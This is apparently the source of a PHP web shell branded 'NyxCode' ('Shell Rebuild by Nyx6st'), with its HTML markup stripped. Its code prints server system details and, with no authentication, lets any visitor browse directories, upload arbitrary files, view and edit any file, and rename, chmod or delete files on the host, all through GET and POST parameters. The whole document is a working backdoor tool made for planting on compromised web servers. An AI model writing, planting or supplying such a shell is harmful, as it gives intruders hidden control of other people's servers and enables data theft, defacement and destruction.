"; echo "

NyxCode | Do What You Wanna Do

"; echo "
".php_uname()."

"; $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\\', '/', $path); $paths = explode('/', $path); foreach($paths as $id => $part) { if($part == '' && $id == 0){ echo '/'; continue; } if($part == '') continue; echo ''.$part.'/'; } if(isset($_FILES['file'])){ if(@copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name'])){ echo "

Upload success!

"; } else { echo "

Upload failed.

"; } } echo "
Upload File:

"; if(isset($_GET['filesrc'])){ echo "

Viewing: ".$_GET['filesrc']."

"; echo ""; } elseif(isset($_GET['edit'])){ if(isset($_POST['editcontent'])){ file_put_contents($_GET['edit'], $_POST['editcontent']); echo "

File saved!

"; } echo "
"; } else { $scandir = scandir($path); echo ""; foreach($scandir as $file){ if($file == ".") continue; $fullpath = $path."/".$file; echo ""; echo ""; } echo "
NameSizePermissionAction
"; if(is_dir($fullpath)){ echo "$file"; } else { echo "$file"; } echo "".(is_file($fullpath) ? filesize($fullpath) : '-')."".substr(sprintf('%o', fileperms($fullpath)), -4).""; echo "Edit | "; echo "Rename | "; echo "Chmod | "; echo "Delete"; echo "
"; } if(isset($_GET['rename'])){ if(isset($_POST['newname'])){ rename($_GET['rename'], dirname($_GET['rename']).'/'.$_POST['newname']); echo "

Renamed!

"; } echo "
New name:
"; } if(isset($_GET['chmod'])){ if(isset($_POST['perm'])){ chmod($_GET['chmod'], octdec($_POST['perm'])); echo "

Permission changed!

"; } echo "
Permission:
"; } if(isset($_GET['delete'])){ if(is_dir($_GET['delete'])){ rmdir($_GET['delete']); } else { unlink($_GET['delete']); } echo "

Deleted!

"; } echo "
Shell Rebuild by Nyx6st | Legacy mode
"; ?>